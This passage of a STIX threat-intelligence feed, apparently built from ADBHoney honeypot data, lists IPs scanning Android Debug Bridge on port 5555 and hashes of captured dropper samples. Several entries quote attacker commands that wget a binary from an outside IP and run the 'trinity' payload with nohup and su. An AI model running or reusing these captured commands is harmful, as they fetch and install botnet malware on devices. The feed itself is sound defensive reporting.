      "pattern": "[ipv4-addr:value = '176.65.139.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:00:01.000Z",
      "valid_until": "2026-06-04T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-03T12:23:16.000Z",
          "last_seen": "2026-05-03T12:43:34.696Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T13:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=39 | first_seen=2026-05-03T12:54:15.000Z | last_seen=2026-05-04T22:29:16.198Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--8d3304c9-64e7-4c62-80bd-1b76bfb6c84b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:00:01.000Z",
      "valid_until": "2026-06-04T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 39,
          "first_seen": "2026-05-03T12:54:15.000Z",
          "last_seen": "2026-05-04T22:29:16.198Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T14:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=40 | first_seen=2026-05-03T13:51:25.000Z | last_seen=2026-05-05T01:53:00.277Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--c6cbb247-dd37-483f-a8b9-463a8ea737f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:00:01.000Z",
      "valid_until": "2026-06-04T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 40,
          "first_seen": "2026-05-03T13:51:25.000Z",
          "last_seen": "2026-05-05T01:53:00.277Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T14:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=19 | first_seen=2026-05-03T13:29:01.000Z | last_seen=2026-05-08T15:56:07.200Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--17f0557e-2305-4677-929d-05b8df41024a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.60.241.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:00:01.000Z",
      "valid_until": "2026-06-04T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 19,
          "first_seen": "2026-05-03T13:29:01.000Z",
          "last_seen": "2026-05-08T15:56:07.200Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T15:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=58; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=58 | first_seen=2026-05-03T14:17:18.000Z | last_seen=2026-05-03T14:30:55.416Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--e62324f0-7c38-4303-a9c7-efca83003bc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:00:09.000Z",
      "valid_until": "2026-06-04T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 58,
          "first_seen": "2026-05-03T14:17:18.000Z",
          "last_seen": "2026-05-03T14:30:55.416Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T15:00:09.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257.raw; src_ip=218.205.95.160; src_ips=218.205.95.160; cc=CN; last_seen=2026-05-03T14:19:05.704Z; cmds=[cd /data/local/tmp;mkdir .p 2>/dev/null;cd .p;(wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null||busybox wget -q | /data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity]",
      "id": "indicator--89892f13-9238-4e1d-a526-87712c1f7e9d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T15:00:09.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64.raw; src_ip=218.205.95.160; src_ips=218.205.95.160; cc=CN; last_seen=2026-05-03T14:19:43.159Z; cmds=[cd /data/local/tmp;mkdir .p 2>/dev/null;cd .p;(wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null||busybox wget -q | /data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity]",
      "id": "indicator--86714b6a-2bd8-4d2c-b1bd-14b75bae4aa8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T15:00:09.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437.raw; src_ip=218.205.95.160; src_ips=218.205.95.160; cc=CN; last_seen=2026-05-03T14:20:25.039Z; cmds=[cd /data/local/tmp;mkdir .p 2>/dev/null;cd .p;(wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null||busybox wget -q | /data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity]",
      "id": "indicator--5c5c9721-40ce-4e9e-8254-7827fae81c0e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Not Suspicious Traffic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-03T15:52:08.000Z | last_seen=2026-05-03T15:53:13.167Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7287af32-b684-4715-b218-8ea60008e92f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '67.205.150.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:00:10.000Z",
      "valid_until": "2026-06-04T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-03T15:52:08.000Z",
          "last_seen": "2026-05-03T15:53:13.167Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=US; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=2107 | first_seen=2026-05-03T15:27:17.000Z | last_seen=2026-05-29T03:35:03.779Z | ports=5555 | cc=US | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:00:10.000Z",
      "valid_until": "2026-06-04T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 2107,
          "first_seen": "2026-05-03T15:27:17.000Z",
          "last_seen": "2026-05-29T03:35:03.779Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T20:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=58; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=58 | first_seen=2026-05-03T19:25:55.000Z | last_seen=2026-05-03T19:37:59.578Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--962e4b36-cc3f-4ef9-a80f-9819dc1a27dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '121.190.85.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:00:10.000Z",
      "valid_until": "2026-06-04T20:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 58,
          "first_seen": "2026-05-03T19:25:55.000Z",
          "last_seen": "2026-05-03T19:37:59.578Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T20:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857.raw; src_ip=121.190.85.48; src_ips=121.190.85.48; cc=KR; last_seen=2026-05-03T19:27:20.929Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--af73cc57-59ed-40a7-8fd4-c2a85fd31780",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T21:00:27.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-03T20:58:57.000Z | last_seen=2026-05-03T21:11:49.132Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d210e9dc-0b54-4d48-baab-17b6e28a40fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.68.189.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:00:27.000Z",
      "valid_until": "2026-06-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-03T20:58:57.000Z",
          "last_seen": "2026-05-03T21:11:49.132Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T21:00:27.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-03T20:15:50.000Z | last_seen=2026-05-12T22:23:22.202Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--33cb0237-91bc-4644-a884-9579246c5d7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '183.232.212.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:00:27.000Z",
      "valid_until": "2026-06-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-03T20:15:50.000Z",
          "last_seen": "2026-05-12T22:23:22.202Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T01:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=PL; asn=202520; asn_org=SkyPass Solutions Sp. z.o.o.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=92 | first_seen=2026-05-04T00:29:29.000Z | last_seen=2026-05-05T05:14:14.278Z | ports=5555 | cc=PL | asn=202520 | org=SkyPass Solutions Sp. z.o.o.",
      "id": "indicator--3fa6920c-983f-47c1-9424-26bfe342bdb5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '83.168.69.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:00:10.000Z",
      "valid_until": "2026-06-05T01:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 92,
          "first_seen": "2026-05-04T00:29:29.000Z",
          "last_seen": "2026-05-05T05:14:14.278Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PL"
          ],
          "asn": [
            "202520"
          ],
          "org": [
            "SkyPass Solutions Sp. z.o.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T02:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-04T01:21:40.000Z | last_seen=2026-05-04T01:23:12.786Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--aae1fbeb-ded2-458e-a0cb-bfc0057643db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:00:05.000Z",
      "valid_until": "2026-06-05T02:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-04T01:21:40.000Z",
          "last_seen": "2026-05-04T01:23:12.786Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T03:00:39.000Z",
